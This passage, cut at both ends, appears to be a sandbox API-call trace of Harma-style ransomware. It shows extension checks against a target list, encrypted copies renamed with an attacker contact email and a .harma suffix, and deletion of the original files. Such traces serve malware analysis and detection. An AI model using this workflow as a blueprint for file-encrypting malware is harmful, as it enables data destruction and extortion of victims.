Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0059.709] lstrlenW (lpString=".jpg") returned 4 [0059.709] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.709] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0059.709] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0059.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0059.943] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=44850) returned 1 [0059.943] CloseHandle (hObject=0x15c) returned 1 [0059.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0059.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0059.969] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.969] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0059.969] GetLastError () returned 0x0 [0059.969] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0xaf32, lpOverlapped=0x0) returned 1 [0059.973] WriteFile (in: hFile=0x1f8, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xaf40, lpOverlapped=0x0) returned 1 [0059.975] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.975] WriteFile (in: hFile=0x1f8, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.975] SetEndOfFile (hFile=0x1f8) returned 1 [0059.975] CloseHandle (hObject=0x1f8) returned 1 [0059.975] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.976] SetEndOfFile (hFile=0x15c) returned 1 [0059.977] CloseHandle (hObject=0x15c) returned 1 [0059.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0059.977] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1 [0059.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0059.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0059.978] lstrlenW (lpString=".doc") returned 4 [0059.978] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.978] lstrlenW (lpString=".docx") returned 5 [0059.978] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.978] lstrlenW (lpString=".pdf") returned 4 [0059.978] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.978] lstrlenW (lpString=".xls") returned 4 [0059.978] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.978] lstrlenW (lpString=".xlsx") returned 5 [0059.978] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.978] lstrlenW (lpString=".ppt") returned 4 [0059.978] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0059.978] lstrlenW (lpString=".zip") returned 4 [0059.978] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.978] lstrlenW (lpString=".rar") returned 4 [0059.978] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.978] lstrlenW (lpString=".bz2") returned 4 [0059.978] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.978] lstrlenW (lpString=".7z") returned 3 [0059.978] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0059.978] lstrlenW (lpString=".dbf") returned 4 [0059.979] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0059.979] lstrlenW (lpString=".1cd") returned 4 [0059.979] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0059.979] lstrlenW (lpString=".jpg") returned 4 [0059.979] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0059.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0059.979] lstrlenW (lpString=".doc") returned 4 [0059.979] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.979] lstrlenW (lpString=".docx") returned 5 [0059.979] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.979] lstrlenW (lpString=".pdf") returned 4 [0059.979] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.979] lstrlenW (lpString=".xls") returned 4 [0059.979] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.979] lstrlenW (lpString=".xlsx") returned 5 [0059.979] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.979] lstrlenW (lpString=".ppt") returned 4 [0059.979] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0059.979] lstrlenW (lpString=".zip") returned 4 [0059.979] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.979] lstrlenW (lpString=".rar") returned 4 [0059.980] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.980] lstrlenW (lpString=".bz2") returned 4 [0059.980] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.980] lstrlenW (lpString=".7z") returned 3 [0059.980] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0059.980] lstrlenW (lpString=".dbf") returned 4 [0059.980] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0059.980] lstrlenW (lpString=".1cd") returned 4 [0059.980] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0059.980] lstrlenW (lpString=".jpg") returned 4 [0059.980] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.980] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0059.980] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0059.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0060.310] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=21745) returned 1 [0060.310] CloseHandle (hObject=0x170) returned 1 [0060.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0060.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0060.310] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.310] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.311] GetLastError () returned 0x0 [0060.311] ReadFile (in: hFile=0x170, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x54f1, lpOverlapped=0x0) returned 1 [0060.315] WriteFile (in: hFile=0x164, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x5500, lpOverlapped=0x0) returned 1 [0060.316] ReadFile (in: hFile=0x170, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.316] WriteFile (in: hFile=0x164, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.317] SetEndOfFile (hFile=0x164) returned 1 [0060.317] CloseHandle (hObject=0x164) returned 1 [0060.317] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.317] SetEndOfFile (hFile=0x170) returned 1 [0060.318] CloseHandle (hObject=0x170) returned 1 [0060.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.319] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 1 [0060.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0060.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0060.319] lstrlenW (lpString=".doc") returned 4 [0060.319] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.319] lstrlenW (lpString=".docx") returned 5 [0060.319] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.319] lstrlenW (lpString=".pdf") returned 4 [0060.319] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.319] lstrlenW (lpString=".xls") returned 4 [0060.319] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.319] lstrlenW (lpString=".xlsx") returned 5 [0060.319] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.319] lstrlenW (lpString=".ppt") returned 4 [0060.319] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0060.319] lstrlenW (lpString=".zip") returned 4 [0060.319] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.319] lstrlenW (lpString=".rar") returned 4 [0060.320] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.320] lstrlenW (lpString=".bz2") returned 4 [0060.320] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.320] lstrlenW (lpString=".7z") returned 3 [0060.320] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0060.320] lstrlenW (lpString=".dbf") returned 4 [0060.320] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0060.320] lstrlenW (lpString=".1cd") returned 4 [0060.320] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0060.320] lstrlenW (lpString=".jpg") returned 4 [0060.320] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0060.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0060.320] lstrlenW (lpString=".doc") returned 4 [0060.320] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.320] lstrlenW (lpString=".docx") returned 5 [0060.320] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.320] lstrlenW (lpString=".pdf") returned 4 [0060.321] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.321] lstrlenW (lpString=".xls") returned 4 [0060.321] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.321] lstrlenW (lpString=".xlsx") returned 5 [0060.321] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.321] lstrlenW (lpString=".ppt") returned 4 [0060.321] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0060.321] lstrlenW (lpString=".zip") returned 4 [0060.321] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.321] lstrlenW (lpString=".rar") returned 4 [0060.321] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.321] lstrlenW (lpString=".bz2") returned 4 [0060.321] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.321] lstrlenW (lpString=".7z") returned 3 [0060.321] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0060.321] lstrlenW (lpString=".dbf") returned 4 [0060.321] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0060.321] lstrlenW (lpString=".1cd") returned 4 [0060.321] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0060.321] lstrlenW (lpString=".jpg") returned 4 [0060.321] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.322] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0060.322] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0060.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0060.659] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=15737) returned 1 [0060.659] CloseHandle (hObject=0x1f4) returned 1 [0060.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0060.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0060.660] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.660] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0061.885] GetLastError () returned 0x0 [0061.885] ReadFile (in: hFile=0x1f4, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x3d79, lpOverlapped=0x0) returned 1 [0061.890] WriteFile (in: hFile=0x1fc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0061.891] ReadFile (in: hFile=0x1f4, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.891] WriteFile (in: hFile=0x1fc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.891] SetEndOfFile (hFile=0x1fc) returned 1 [0061.891] CloseHandle (hObject=0x1fc) returned 1 [0061.891] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.891] SetEndOfFile (hFile=0x1f4) returned 1 [0061.892] CloseHandle (hObject=0x1f4) returned 1 [0061.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0061.892] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 1 [0061.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0061.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0061.893] lstrlenW (lpString=".doc") returned 4 [0061.893] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0061.893] lstrlenW (lpString=".docx") returned 5 [0061.893] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0061.893] lstrlenW (lpString=".pdf") returned 4 [0061.893] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0061.893] lstrlenW (lpString=".xls") returned 4 [0061.893] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0061.893] lstrlenW (lpString=".xlsx") returned 5 [0061.893] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0061.893] lstrlenW (lpString=".ppt") returned 4 [0061.893] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0061.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0061.893] lstrlenW (lpString=".zip") returned 4 [0061.893] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0061.893] lstrlenW (lpString=".rar") returned 4 [0061.893] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0061.893] lstrlenW (lpString=".bz2") returned 4 [0061.893] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0061.893] lstrlenW (lpString=".7z") returned 3 [0061.893] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0061.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0061.893] lstrlenW (lpString=".dbf") returned 4 [0061.893] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0061.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0061.894] lstrlenW (lpString=".1cd") returned 4 [0061.894] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0061.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0061.894] lstrlenW (lpString=".jpg") returned 4 [0061.894] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0061.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0061.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0061.894] lstrlenW (lpString=".doc") returned 4 [0061.894] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0061.894] lstrlenW (lpString=".docx") returned 5 [0061.894] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0061.894] lstrlenW (lpString=".pdf") returned 4 [0061.894] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0061.894] lstrlenW (lpString=".xls") returned 4 [0061.894] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0061.894] lstrlenW (lpString=".xlsx") returned 5 [0061.894] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0061.894] lstrlenW (lpString=".ppt") returned 4 [0061.894] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0061.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0061.894] lstrlenW (lpString=".zip") returned 4 [0061.894] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0061.894] lstrlenW (lpString=".rar") returned 4 [0061.894] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0061.894] lstrlenW (lpString=".bz2") returned 4 [0061.894] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0061.894] lstrlenW (lpString=".7z") returned 3 [0061.894] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0061.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0061.894] lstrlenW (lpString=".dbf") returned 4 [0061.894] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0061.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0061.895] lstrlenW 